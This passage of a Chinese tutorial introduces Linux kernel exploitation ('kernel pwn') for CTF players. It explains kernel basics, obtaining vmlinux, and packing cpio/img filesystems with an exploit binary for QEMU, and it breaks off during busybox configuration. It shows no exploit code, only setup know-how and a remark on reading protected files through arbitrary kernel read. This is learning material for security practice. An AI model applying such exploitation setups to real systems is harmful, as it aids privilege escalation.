linux kernel pwn 基础知识

sky123

linux 内核概述

Linux 内核由 Linus Torvalds 于 1991 年开发,最初的目的是为 Intel 80386 处理器编写一个类 UNIX 系统的内核。当前版本的 Linux 内核由全球社区共同开发维护,通过 Git 管理源代码。

内核概述

内核(Kernel)是操作系统的核心部分,负责管理硬件资源并提供给用户程序使用。它充当硬件和应用程序之间的桥梁,是操作系统最基础和最关键的部分。

内核的职责

  • 进程管理

    • 负责调度 CPU,确保多个进程可以并发运行。

    • 通过调度算法分配 CPU 时间片。

    • 进程的创建、终止、状态切换和通信。

  • 内存管理:

    • 分配和释放内存,防止内存冲突。
    • 提供虚拟内存支持,使每个进程有独立的地址空间。
    • 管理分页(Paging)和分段(Segmentation)。
  • 文件系统管理

    • 提供文件读写接口。
    • 管理存储设备(如硬盘)的文件组织和访问权限。
    • 提供文件系统抽象层,支持多种文件系统(如 FAT32、NTFS、ext4)。
  • 设备驱动管理

    • 通过驱动程序控制硬件设备(如键盘、显示器、网卡)。
    • 提供统一的设备访问接口。
  • 网络管理

    • 提供网络协议栈(如 TCP/IP)支持网络通信。
    • 管理数据包发送、接收和路由。
  • 安全和权限管理

    • 用户权限隔离,防止进程间相互干扰。
    • 控制资源访问权限,保障系统安全。

内核的分类

  • 单体内核(Monolithic Kernel):所有的核心功能(如进程管理、内存管理、文件系统等)都在内核态运行。
    • 优点:性能高,系统调用开销低。
    • 缺点:模块之间耦合度高,出错影响整个系统。
    • 示例:Linux、BSD。
  • 微内核(Microkernel):仅保留最基础功能(如进程管理、内存管理)在内核态,其他功能移到用户态。
    • 优点:模块化设计,稳定性高。
    • 缺点:性能低,系统调用开销大。
    • 示例:Minix、QNX。
  • 混合内核(Hybrid Kernel):结合单体内核和微内核的优点,将部分功能运行在内核态,部分功能在用户态。
    • 示例:Windows NT、macOS。

提示

Linux 内核属于单体内核,所有核心功能(如进程管理、内存管理、设备驱动、文件系统、网络协议栈等)都运行在内核态。相较于微内核,单体内核性能更高,但模块之间高度耦合可能导致稳定性问题。

Linux 内核的特点

  • 模块化设计:Linux 内核的模块(Kernel Module)可以在运行时动态加载(insmod)或卸载(rmmod)。这使得开发人员无需重启系统或重新编译整个内核即可调试或扩展功能。
  • 高性能
    • 任务调度优化:使用 CFS 调度器(完全公平调度器),实现低延迟和公平的任务分配。
    • 多核支持:充分利用多核架构,通过锁机制(如自旋锁、读写锁)实现高效并发。
    • 零拷贝机制:网络通信中采用零拷贝技术,减少内存复制,提高吞吐量。
  • 可移植性:支持多种硬件架构(x86、ARM、RISC-V 等)。可裁剪内核以适配嵌入式设备,同时也支持大规模服务器的多线程与并发。
  • 开源性:Linux 内核使用 GPLv2 许可证,全球社区通过邮件列表和补丁贡献,推动内核发展,并且所有修改和发布的代码必须开源。
  • 强大网络支持:内核内置高性能的网络协议栈,支持 IPv4、IPv6、UDP、ICMP 等。支持现代网络协议(如 QUIC)、SDN(软件定义网络)和虚拟网络(如 VXLAN)。

Linux 内核版本

Linux 内核版本是社区开发和维护的核心之一,用于标识不同阶段的功能、性能和稳定性。

版本命名规则

Linux 内核版本号通常由三个或四个部分组成,格式为 X.Y.Z

X(主版本号):表示重大更新,例如架构变更或核心功能的大幅改进。例如:从 4.x 升级到 5.x。

Y(次版本号):表示新功能和优化的引入。例如:5.10 中引入新的文件系统优化。

Z(修订号):表示漏洞修复或小的改进。

提示

在 2.x 内核中,奇数表示开发版本,偶数表示稳定版本;从 3.x 开始废弃这种规则。

版本的类型

Linux 内核由社区主导开发,Linux 内核大约每 8-10 周发布一个新版本。每个版本的开发分为两个阶段:

  • 合并窗口(Merge Window):开始时为期两周的功能合并窗口,开发者提交新功能和重大改进。结束后,停止接收新功能,只修复问题。

  • 修复阶段:剩下的时间用于 Bug 修复和代码优化。随着 RC(Release Candidate,候选版本)的发布逐步接近稳定。

内核版本在发布前会经历多个 RC 版本(X.Y-rcN),如 5.15-rc3。每个 RC 版本修复前一版本发现的问题,直到版本足够稳定。

一些特定版本由社区标记为 LTS,生命周期通常为 2-6 年,适合生产环境。

当前活跃的内核版本

  • 4.14:嵌入式设备常用,2017 年 11 月发布,支持至 2024 年。
  • 4.19:许多稳定性优化,2018 年 10 月发布,支持至 2024 年。
  • 5.4:企业环境常见,2019 年 11 月发布,支持至 2025 年。
  • 5.10:多场景支持,稳定,2020 年 12 月发布,支持至 2026 年。
  • 5.15:改进 IO_uring 和文件系统,2021 年 11 月发布,支持至 2028 年。
  • 6.x 系列:最新的长期支持版本。

查看系统版本

uname 命令

uname 是一个标准命令,用于显示系统信息,其中 -r 参数用于显示当前运行的内核版本。如果想获取更详细的信息,可以使用 uname-a 参数:

1
2
3
4
/ $ uname -r
5.15.0-50-generic
/ $ uname -a
Linux ubuntu 5.15.0-50-generic #56~20.04.1-Ubuntu SMP Thu Sep 29 19:22:06 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
  • Linux:内核名称。

  • ubuntu:主机名。

  • 5.15.0-50-generic:内核版本。

    • 5.15.0:内核的主版本号和次版本号。

    • -50:分配给当前内核版本的修订编号。

      generic:特定的内核类型,表示为通用内核。

    • 其他可能的值:

      • lowlatency:低延迟内核。
      • rt:实时内核。
  • #56~20.04.1-Ubuntu SMP Thu Sep 29 19:22:06 UTC 2022

    • #56:编译版本号。

    • SMP:表示支持多处理器(Symmetric Multi-Processing)。

    • Thu Sep 29 19:22:06 UTC 2022:编译日期和时间。

  • x86_64:CPU 架构。

查看 /proc/version 文件

Linux 将内核版本信息存储在 /proc/version 文件中,可以通过 cat 命令查看:

1
2
cat /proc/version
Linux version 5.15.0-50-generic (buildd@lcy02-amd64-087) (gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, GNU ld (GNU Binutils for Ubuntu) 2.34) #56~20.04.1-Ubuntu SMP Thu Sep 29 19:22:06 UTC 2022

kernel pwn 环境基础

在 ctf 中通常一个 kernel pwn 的题目包含下面三个部分:

  • boot.sh/run.sh/start.sh:启动脚本
  • bzImage:内核镜像
  • rootfs.cpio/rootfs.img:文件系统

另外还有可能提供用于编译内核的配置文件。

内核镜像

内核镜像的类别

通常我们见到的内核镜像如下:

  • vmlinux:vmlinux 是一个包含完整调试符号的内核映像文件,通常用于内核的开发和调试。它是未压缩的、包含所有调试符号的原始内核镜像。

  • bzImage:bzImage 是一个压缩过的内核映像,通常用于系统启动时的内核加载。bzImage 的名字来自于 bzip2 压缩工具,但实际上,它可以使用多种压缩算法(如 gzipbzip2 等)来压缩内核。

  • vmlinuz:vmlinuz 是 Linux 内核的压缩映像文件,通常是 bzImage 文件的一个符号链接。它的名称遵循惯例,并且是广泛用于启动过程中的标准内核文件名称。

    1
    2
    ls -l /boot/vmlinuz
    lrwxrwxrwx 1 root root 22 2024-12-01 16:23 /boot/vmlinuz -> vmlinuz-5.10.0-7-amd64

获取 vmlinux

编译内核

首先通过 file 命令查看内核版本:

1
2
$ file bzImage
bzImage: Linux kernel x86 boot executable bzImage, version 5.17.0 (ubuntu@ubuntu) #3 SMP PREEMPT Fri Dec 6 16:57:22 CST 2024, RO-rootFS, swap_dev 0X9, Normal VGA

并且最好确定编译内核的 gcc 版本,防止因为 gcc 版本差异过大导致内核编译失败。

1
2
$ strings ./bzImage | grep gcc
5.17.0 (ubuntu@ubuntu) (gcc (Ubuntu 13.2.0-23ubuntu4) 13.2.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #3 SMP PREEMPT Fri Dec 6 16:57:22 CST 2024

ubuntu 切换 gcc 版本的方法

首先 apt-cache 查看可用的 gcc 版本信息:

1
2
3
4
5
6
7
8
$ apt-cache policy gcc-13
gcc-13:
Installed: 13.2.0-23ubuntu4
Candidate: 13.2.0-23ubuntu4
Version table:
*** 13.2.0-23ubuntu4 500
500 http://archive.ubuntu.com/ubuntu noble/main amd64 Packages
100 /var/lib/dpkg/status

安装一个版本比较接近的 gcc。(对于比较上古的 linux 内核,需要找一些同样比较上古版本的 ubuntu 才能找到合适的 gcc 以及其他编译时用到的工具链。)

1
sudo apt install gcc-13=13.2.0-23ubuntu4

update-alternatives 是一个 Debian 和 Ubuntu 系统中的命令行工具,用于管理系统中多个版本的程序之间的选择。这里将系统上安装的不同版本的 gcc 都添加到 update-alternatives 中:

1
2
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-14 14
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-13 13

之后只需要使用 sudo update-alternatives --config gcc 切换 gcc(本质就是更改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ gcc --version
gcc (Ubuntu 14.2.0-4ubuntu2~24.04) 14.2.0
Copyright (C) 2024 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

$ sudo update-alternatives --config gcc
There are 2 choices for the alternative gcc (providing /usr/bin/gcc).

Selection Path Priority Status
------------------------------------------------------------
* 0 /usr/bin/gcc-14 14 auto mode
1 /usr/bin/gcc-13 13 manual mode
2 /usr/bin/gcc-14 14 manual mode

Press <enter> to keep the current choice[*], or type selection number: 1
update-alternatives: using /usr/bin/gcc-13 to provide /usr/bin/gcc (gcc) in manual mode
$ gcc --version
gcc (Ubuntu 13.2.0-23ubuntu4) 13.2.0
Copyright (C) 2023 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

清华源下载与题目所给内核版本相同的内核源码。

1
2
wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.17.tar.gz
tar -zxvf linux-5.17.tar.gz

在编译前先安装相关的依赖:

1
2
3
4
5
6
7
sudo apt-get install libncurses5-dev libncursesw5-dev -y
sudo apt install flex -y
sudo apt install bison -y
sudo apt install libelf-dev -y
sudo apt install libssl-dev -y
sudo apt install dwarves -y
sudo apt install zstd -y

在内核源码的根目录运行如下命令配置内核:

1
make menuconfig

保证勾选如下配置(默认都是勾选了的):

  • Kernel hacking —> Kernel debugging
  • Kernel hacking —> Compile-time checks and compiler options —> Compile the kernel with debug info
  • Kernel hacking —> Generic Kernel Debugging Instruments –> KGDB: kernel debugger
  • kernel hacking —> Compile the kernel with frame pointers

一般来说不需要有什么改动,直接保存退出即可。此时会在源码根目录生成一个 .config 配置文件。这个配置文件在编译的时候会被翻译成 include\generated\autoconf.h 中的宏定义,供内核镜像和内核模块编译的时候使用。

注意

如果题目提供了配置文件,最好和自己生成的配置文件比较一下,看一下出题人修改了内核的那些配置,因为有时候出题人为了达成特定的利用条件会开启或关闭一些内核的保护选项。我们要做的就是把这些选项修改得和出题人提供的配置文件相同。

之后运行如下命令编译内核。其中 bzImage 编译选项可以避免一些不必要的内核模块编译,节省时间。

1
make bzImage -j$(nproc)

最终会生成如下文件:

  • arch/x86/boot/ 目录下生成 bzImage
  • 在源码根目录生成 vmlinux(有时候虽然会编译报错退出,但可能只是生成 bzImage 那一步出错了,而 vmlinux 已经生成了)。

提示

  • 缺少证书文件

    1
    2
    make[1]: *** No rule to make target 'debian/canonical-certs.pem', needed by 'certs/x509_certificate_list'.  Stop.
    make: *** [Makefile:1868: certs] Error 2

    需要将 CONFIG_SYSTEM_TRUSTED_KEYSCONFIG_SYSTEM_REVOCATION_KEYS 中的内容置空。

    CONFIG_SYSTEM_TRUSTED_KEYSCONFIG_SYSTEM_REVOCATION_KEYS 是 Linux 内核配置选项,主要用于与内核的公钥和证书管理相关。它们控制的是内核如何验证签名的模块以及其他敏感操作的公钥和证书。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    --- ./.config.bak	2024-12-06 16:41:46.982198997 +0800
    +++ ./.config 2024-12-06 16:42:19.650711503 +0800
    @@ -10821,14 +10821,14 @@
    CONFIG_MODULE_SIG_KEY_TYPE_RSA=y
    # CONFIG_MODULE_SIG_KEY_TYPE_ECDSA is not set
    CONFIG_SYSTEM_TRUSTED_KEYRING=y
    -CONFIG_SYSTEM_TRUSTED_KEYS="debian/canonical-certs.pem"
    +CONFIG_SYSTEM_TRUSTED_KEYS=""
    CONFIG_SYSTEM_EXTRA_CERTIFICATE=y
    CONFIG_SYSTEM_EXTRA_CERTIFICATE_SIZE=4096
    CONFIG_SECONDARY_TRUSTED_KEYRING=y
    CONFIG_SYSTEM_BLACKLIST_KEYRING=y
    CONFIG_SYSTEM_BLACKLIST_HASH_LIST=""
    CONFIG_SYSTEM_REVOCATION_LIST=y
    -CONFIG_SYSTEM_REVOCATION_KEYS="debian/canonical-revoked-certs.pem"
    +CONFIG_SYSTEM_REVOCATION_KEYS=""
    # end of Certificates for signature checking

    CONFIG_BINARY_PRINTF=y
  • BTF 加载失败

    1
    FAILED: load BTF from vmlinux: Invalid argument

    这是在生成内核时加载 BTF(BPF Type Format) 数据时出现的错误。需要将 CONFIG_DEBUG_INFO_BTFCONFIG_DEBUG_INFO_BTF_MODULES 设置为 n 来禁用 BTF 相关的配置项。

    BTF 是 Linux 内核中用于 BPF 程序和调试的类型信息格式。此错误通常表示在构建过程中,内核映像 vmlinux 的 BTF 数据无法正确加载或生成,可能与内核配置或工具链版本不兼容有关。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    @@ -11025,9 +11025,9 @@
    # CONFIG_DEBUG_INFO_SPLIT is not set
    CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT=y
    # CONFIG_DEBUG_INFO_DWARF4 is not set
    -CONFIG_DEBUG_INFO_BTF=y
    +# CONFIG_DEBUG_INFO_DWARF5 is not set
    +# CONFIG_DEBUG_INFO_BTF is not set
    CONFIG_PAHOLE_HAS_SPLIT_BTF=y
    -CONFIG_DEBUG_INFO_BTF_MODULES=y
    CONFIG_GDB_SCRIPTS=y
    CONFIG_FRAME_WARN=1024
    # CONFIG_STRIP_ASM_SYMS is not set

vmlinux-to-elf

vmlinux-to-elf 是一个用于将 Linux 内核映像 vmlinux 转换为 ELF 格式的工具。

安装:

1
2
3
sudo apt install python3-pip
sudo pip3 install --upgrade lz4 zstandard git+https://github.com/clubby789/python-lzo@b4e39df
sudo pip3 install --upgrade git+https://github.com/marin-m/vmlinux-to-elf

使用方法:

1
vmlinux-to-elf <input_kernel.bin> <output_kernel.elf>

这个方法获取的 vmlinux 带调试符号,不过结构体相关的调试符号只有编译内核可以获得。

下载镜像

对于实际的 linux 系统,我们可以通过其内置的包管理工具在其仓库中搜索与内核镜像相关的包。

1
2
3
4
5
$ apt search linux-image-
...
linux-image-6.8.0-49-generic/noble-updates,noble-security,now 6.8.0-49.49 amd64 [installed,automatic]
Signed kernel image generic
...

如果我们找到对应版本的内核镜像以及内核头文件内核模块可以将其下载下来。

1
2
3
apt download linux-image-6.8.0-49-generic # 内核镜像
apt download linux-headers-6.8.0-49-generic # 内核头文件
apt download linux-modules-6.8.0-49-generic # 内核模块
  • linux-image:包含了整个内核的可执行镜像。
  • linux-headers:包含内核的头文件,头文件定义了内核中使用的各种数据结构、函数声明、宏等,供用户空间程序或内核模块编译时使用。
  • linux-modules:包含内核模块。

下载下来的安装包可以安装在本地的操作系统上,这样本地的操作系统就和远程环境拥有完全一致的内核镜像以及内核模块。另外我们还可以通过内核头文件进行内核模块的开发。

1
2
3
4
sudo dpkg -i ./llinux-image-6.8.0-49-generic_6.8.0-49.49_amd64.deb
sudo dpkg -i ./linux-headers-6.8.0-49-generic_6.8.0-49.49_amd64.deb
sudo dpkg -i ./linux-modules-6.8.0-49-generic_6.8.0-49.49_amd64.deb
reboot

我们可以通过 dpkg -x 命令解压安装包。这样就可以获取到内核模块和 vmlinuz(bzImage 格式)内核镜像。通过 vmlinux-to-elf 即可提取出 vmlinux 镜像。

1
2
dpkg -X ./llinux-image-6.8.0-49-generic_6.8.0-49.49_amd64.deb image
dpkg -x ./linux-modules-6.8.0-49-generic_6.8.0-49.49_amd64.deb modules

bzImage 解压(不推荐)

使用 extract-vmlinux 脚本从 bzImage 解压出 vmlinux 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011 Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------

check_vmlinux()
{
# Use readelf to check if it's a valid ELF
# TODO: find a better to way to check that it's really vmlinux
# and not just an elf
readelf -h $1 > /dev/null 2>&1 || return 1

cat $1
exit 0
}

try_decompress()
{
# The obscure use of the "tr" filter is to work around older versions of
# "grep" that report the byte offset of the line instead of the pattern.

# Try to find the header ($1) and decompress from here
for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
do
pos=${pos%%:*}
tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
check_vmlinux $tmp
done
}

# Check invocation:
me=${0##*/}
img=$1
if [ $# -ne 1 -o ! -s "$img" ]
then
echo "Usage: $me <kernel-image>" >&2
exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0

# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh' xy bunzip2
try_decompress '\135\0\0\0' xxx unlzma
try_decompress '\211\114\132' xy 'lzop -d'
try_decompress '\002!L\030' xxx 'lz4 -d'
try_decompress '(\265/\375' xxx unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo "$me: Cannot find vmlinux." >&2

运行如下命令就可以解压出 vmlinux 了。

1
./extract-vmlinux ./bzImage > vmlinux

文件系统

文件系统是存储数据的一种方法,它定义了如何在存储设备(如硬盘、SSD、U盘)上存储、组织和检索文件。它包括以下内容:

  • 数据存储结构:管理文件存储的方式,如块、扇区。
  • 文件元数据:描述文件的信息,如名称、大小、权限、时间戳。
  • 目录结构:支持文件的层次化组织。
  • 访问接口:提供文件的读取、写入和删除操作。

文件系统类别

文件系统类别可以根据文件系统镜像的格式和用途进行分类。常见的文件系统镜像格式包括 cpioimgqcow2( QEMU 的虚拟磁盘镜像格式)和 vmdk(VMware 虚拟机使用的磁盘映像格式)等。其中 ctf 中最常见的是 cpioimg 这两种格式。

cpio

cpio 是一种归档工具与归档格式,用于将一组文件和目录打包成一个归档文件。与 tar 类似,它不带文件系统元数据的复杂结构,只是将文件挨个打包,从而形成一个线性的存档文件。

在 Linux 系统启动流程中,initramfs 常常使用 cpio 格式来打包初始根文件系统(内核早期启动所需的基础文件和脚本),内核可以直接解压 cpio 格式的 initramfs。

文件系统制作
  1. 准备一个目录树,其中包含要打包的文件和目录结构。例如,创建 rootfs/ 目录,里面有 bin/, etc/, lib/, sbin/ 等文件和目录,并且将 busybox 中的各种工具拷贝到 rootfs 中。

  2. 使用下面的命令将该目录打包成 cpio 格式,其中 -H=newc--format=newc)是 initramfs 常用格式选项。

    1
    2
    cd rootfs
    find . | cpio -o -H newc > ../rootfs.cpio
文件系统解压

我可以通过下面这条命令将 cpio 格式的文件解压成文件目录。

1
cpio -idmv < rootfs.cpio -D rootfs
文件系统打包

cpio 类型文件系统的打包脚本如下,注意这里的 rootfs 是事先从 rootfs.cpio 中解压出来的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/sh

# 复制 rootfs 内容到临时目录
cp -r rootfs rootfs_tmp

# 编译 exp 程序,生成静态链接的可执行文件
gcc -static -masm=intel -pthread exp.c -o exp
# upx --best --lzma exp

# 将 exp 复制到临时文件系统
cp exp rootfs_tmp/

# 进入临时文件系统目录
cd rootfs_tmp || exit

# 使用 cpio 工具打包文件系统成 rootfs.cpio
find . | cpio -o -H newc > ../rootfs.cpio

# 返回上一层目录并删除临时目录
cd ..
sudo rm -rf rootfs_tmp

img (Raw Image)

.img 文件常指原始磁盘镜像文件,它是一个逐字节的磁盘副本。里面可能有分区表、引导记录(MBR、GPT)以及每个分区上具体文件系统的数据(如 ext4、FAT32、NTFS 等)。

文件系统制作
  1. 创建一个空白的磁盘镜像文件。下面这条命令为生成一个大小为 32M 的文件,内容填充为 0。

    1
    dd if=/dev/zero of=rootfs.img bs=1M count=32
    • dd 一个用于复制和转换文件的工具。
    • if=/dev/zero 表示输入文件是 /dev/zero,这是一个特殊设备文件,它会不断地提供零字节。
    • of=rootfs.img 指定输出文件是 rootfs.img,也就是最终生成的磁盘镜像文件名。
    • bs=1M 设置块大小为 1MB。这意味着 dd 会以 1MB 为单位读取和写入数据。
    • count=32 指定了要写入 32 个块,即总共 32MB 的数据。
  2. 将空白镜像文件格式化为 ext4 文件系统。这里 mkfs.ext4 是用来创建 ext4 文件系统的命令。

    1
    mkfs.ext4 rootfs.img
  3. 将事先准备好的 linux 文件系统目录 rootfs 中的内容拷贝到 rootfs.img 中,这里需要将 rootfs.img 挂载出来才能往里面添加文件。

    1
    2
    3
    4
    5
    mkdir ./rootfs_tmp
    mount ./rootfs.img ./rootfs_tmp
    cp -rf ./rootfs ./rootfs_tmp
    umount ./rootfs_tmp
    rm -r ./rootfs_tmp
文件系统打包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/sh

# 创建临时目录目录 rootfs_tmp
mkdir rootfs_tmp

# 挂载 rootfs.img 文件为 rootfs_tmp
sudo mount rootfs.img rootfs_tmp

# 编译 exp 程序,生成静态链接的可执行文件
gcc -static -masm=intel -pthread exp.c -o exp
# upx --best --lzma exp

# 将编译好的 exp 文件复制到 rootfs_tmp 目录
cp exp rootfs_tmp/

# 卸载 rootfs.img 文件
sudo umount rootfs_tmp

# 删除 rootfs_tmp 临时目录
sudo rm -r rootfs_tmp

QEMU 文件系统配置

在使用 QEMU 启动 Linux 内核时,通常会涉及到几个关键选项和参数来指定系统的启动方式与根文件系统所在的位置。

-initrd

-initrd (Initial RAM Disk)是用来指定初始 RAM 磁盘(initrd)或者初始 RAM 文件系统(initramfs)映像文件。

initrd(initial ramdisk)最早是一种在内核启动早期加载的内存中磁盘映像。它包含基础的文件系统、关键的驱动模块和简单的用户空间工具。内核会在加载自身后先挂载此内存盘为根环境,在其中执行初始化任务。

initramfs(initial ram filesystem)是现代 Linux 内核中替代 initrd 的方式。它是一个打包成 CPIO 格式的归档文件(CPIO archive),在内核引导时会被直接解压缩到内存中形成一个根文件系统,内核使用内建解压与文件系统支持访问这套结构,无需使用外部文件系统驱动。

当使用该参数时,QEMU 会在内核启动后将此内存盘映像载入内存中。内核启动时会先解压并加载 initramfs/initrd,从中获取用户空间初始工具(如 init 程序、关键的驱动和脚本)。
initramfs 在启动过程中可用于:

  • 提供挂载根文件系统前所需要的驱动(如存储驱动、文件系统驱动、LVM、RAID 等)。
  • 在系统根文件系统未就绪时先执行一些初始化动作(挂载网络文件系统、解密加密分区、挂载 NFS 根目录等)。
  • 从 initramfs 中的脚本解析内核启动参数并决定挂载哪个设备作为最终的根文件系统。

值得注意的是,-initrd 并不直接指定根文件系统,而是提供了引导阶段的一个过渡环境。真正的根文件系统通常还是需要内核启动参数或 initramfs 中的脚本来决定最终要挂载的设备或路径。

提示

很多 CTF 题目会将构建好的 rootfs(包括 busybox 工具和必要的目录结构、配置文件、库文件等)打包成一个 CPIO 格式的 initramfs 映像,然后通过 -initrd 参数将其与内核一起提供给 QEMU。

启动时,内核会加载并挂载这份 initramfs 到内存中作为根文件系统。此时系统已经具备一个最低限度的用户空间环境,以及各种基础工具(BusyBox 提供诸如 lsmountcatsh 等常用命令)。

这也意味着文件系统中的文件实际上是在内存中的,因此如果我们有无限次的任意地址读就可以扫描内存读取文件系统中不可读的文件。

-hda & root=

使用 -hda(或较新的 QEMU 版本中推荐的 -drive file=...)选项是为 QEMU 虚拟机指定一个块设备映像文件,一般是一个完整的磁盘镜像文件,如扩展名为 .img.qcow2 的文件。这个镜像文件中通常包含了一个分区表和若干分区(如 /dev/sda1/dev/sda2 等),其中一个分区可作为根文件系统(rootfs)。

在 Linux 系统中,/dev/sda 通常表示系统中的第一个 SCSI 或 SATA 类型的硬盘设备(实际上,现代 Linux 内核中,许多存储设备都使用类似 SCSI 的统一接口,因此无论你用的是SATA硬盘还是SSD,它们的名字常常都是 sdasdb 之类)。这里的 /dev/ 是 Linux 系统中存放各种设备文件的目录,而 sda 则是该目录下的一个设备文件,用来代表第一块被内核识别的磁盘。

简单来说,qemu 会将 -hda 参数指定的磁盘镜像文件模拟成虚拟机中的一块硬盘设备并呈现给操作系统,内核启动时会识别它为相应的块设备(如 /dev/sda,同理 -hdb 参数指定第二块磁盘 /dev/sdb),从而在后续的启动过程中可以根据内核启动参数 root= 将其中的某个分区挂载为根文件系统。

1
2
3
4
5
6
7
static int __init root_dev_setup(char *line)
{
strlcpy(saved_root_name, line, sizeof(saved_root_name));
return 1;
}

__setup("root=", root_dev_setup);

文件系统加载过程

  1. 内核启动:当 QEMU 启动时,内核从 initrd 文件加载一个临时的根文件系统(initramfsinitrd),该文件系统通常包含启动所需的最小文件和驱动程序。

  2. 硬件初始化:内核会使用 initrd 中的驱动程序来初始化硬件(如网络、磁盘、USB 等)。

  3. 挂载持久根文件系统:一旦硬件初始化完成,内核会通过 root=/dev/sda1 等参数挂载真实的根文件系统(如硬盘上的 ext4 文件系统),并将控制交给系统的实际根文件系统,initrd 文件系统会被卸载。

Linux 文件系统创建

这里主要介绍一下如何创建一个用于 ctf 比赛环境的简易 Linux 文件系统。

编译 busybox

busybox 集成了多种常用 Unix 工具(如 lscpmvcatecho 等)到一个单一的可执行文件中。由于其体积小巧、功能集成,BusyBox 广泛应用于嵌入式系统、初始 RAM 文件系统(initramfs)、以及需要节省存储空间的简化 Linux 环境中。

编译 busybox 的步骤如下:

  1. 下载最新版本的 BusyBox 源代码:

    1
    2
    3
    wget https://busybox.net/downloads/busybox-1.37.0.tar.bz2
    tar -xjf busybox-1.37.0.tar.bz2
    cd busybox-1.37.0
  2. 运行如下命令配置 BusyBox 编译选项。

    1
    make menuconfig
    1. 首先进入 Settings

       BusyBox 1.37.0 Configuration
        ─────────────────────────────────────────────────────────────────────────────────────────────────────
         ┌──────────────────────────────────── Busybox Configuration ─────────────────────────────────────
           Arrow keys navigate the menu.  <Enter> selects submenus --->.  Highlighted letters are        │  
           hotkeys.  Pressing <Y> includes, <N> excludes, <M> modularizes features.  Press <Esc><Esc> to │  
           exit, <?> for Help, </> for Search.  Legend: [*] built-in  [ ] excluded  <M> module  < >      │  
           module capable                                                                                │  
          ┌────────────────────────────────────────────────────────────────────────────────────────────  
             Settings  --->                                                                 
          │           --- Applets                                                                        
         Archival Utilities  --->                                                       
         Coreutils  --->                                                                
         Console Utilities  --->                                                        
         Debian Utilities  --->                                                         
         klibc-utils  --->                                                              
         Editors  --->                                                                  
         Finding Utilities  --->                                                        
         Init Utilities  --->                                                           
         Login/Password Management Utilities  --->                                      
         Linux Ext2 FS Progs  --->                                                      
         Linux Module Utilities  --->                                                   
         ───────────↓(+)─────────────────────────────────────────────────────────────────────────────┘  
         ├────────────────────────────────────────────────────────────────────────────────────────────────  
                                         <Select>    < Exit >    < Help >                                │  
         ────────────────────────────────────────────────────────────────────────────────────────────────┘  
           
       
    2. 选择静态编译。如果不勾选的话,需要自行配置libc库,这样步骤会很繁琐。

       BusyBox 1.37.0 Configuration
        ─────────────────────────────────────────────────────────────────────────────────────────────────────
         ┌─────────────────────────────────────────── Settings ───────────────────────────────────────────
           Arrow keys navigate the menu.  <Enter> selects submenus --->.  Highlighted letters are        │  
           hotkeys.  Pressing <Y> includes, <N> excludes, <M> modularizes features.  Press <Esc><Esc> to │  
           exit, <?> for Help, </> for Search.  Legend: [*] built-in  [ ] excluded  <M> module  < >      │  
           module capable                                                                                │  
          ┌───────────↑(-)─────────────────────────────────────────────────────────────────────────────  
          │           [ ] exec prefers applets (NEW)                                                     
          │           (/proc/self/exe) Path to busybox executable (NEW)                                  
          │           [ ] Support NSA Security Enhanced Linux (NEW)                                      
          │           [ ] Clean up all memory before exiting (usually not needed) (NEW)                  
          │           [*] Support LOG_INFO level syslog messages (NEW)                                   
          │           --- Build Options                                                                  
         [*] Build static binary (no shared libs)                                           
          │           [ ] Force NOMMU build (NEW)                                                        
          │           ()  Cross compiler prefix (NEW)                                                    
          │           ()  Path to sysroot (NEW)                                                          
          │           ()  Additional CFLAGS (NEW)                                                        
          │           ()  Additional LDFLAGS (NEW)                                                       
          │           ()  Additional LDLIBS (NEW)                                                        
         ───────────↓(+)─────────────────────────────────────────────────────────────────────────────┘  
         ├────────────────────────────────────────────────────────────────────────────────────────────────  
                                         <Select>    < Exit >    < Help >                                │  
         ────────────────────────────────────────────────────────────────────────────────────────────────┘  
           
       
    3. 设置安装目录,这里我们选择的是 ./rootfs

       BusyBox 1.37.0 Configuration
        ─────────────────────────────────────────────────────────────────────────────────────────────────────
         ┌─────────────────────────────────────────── Settings ───────────────────────────────────────────
           Arrow keys navigate the menu.  <Enter> selects submenus --->.  Highlighted letters are        │  
           hotkeys.  Pressing <Y> includes, <N> excludes, <M> modularizes features.  Press <Esc><Esc> to │  
           exit, <?> for Help, </> for Search.  Legend: [*] built-in  [ ] excluded  <M> module  < >      │  
           module capable                                                                                │  
          ┌───────────↑(-)─────────────────────────────────────────────────────────────────────────────  
          │           ()  Additional LDLIBS (NEW)                                                        
          │           [ ] Avoid using GCC-specific code constructs (NEW)                                 
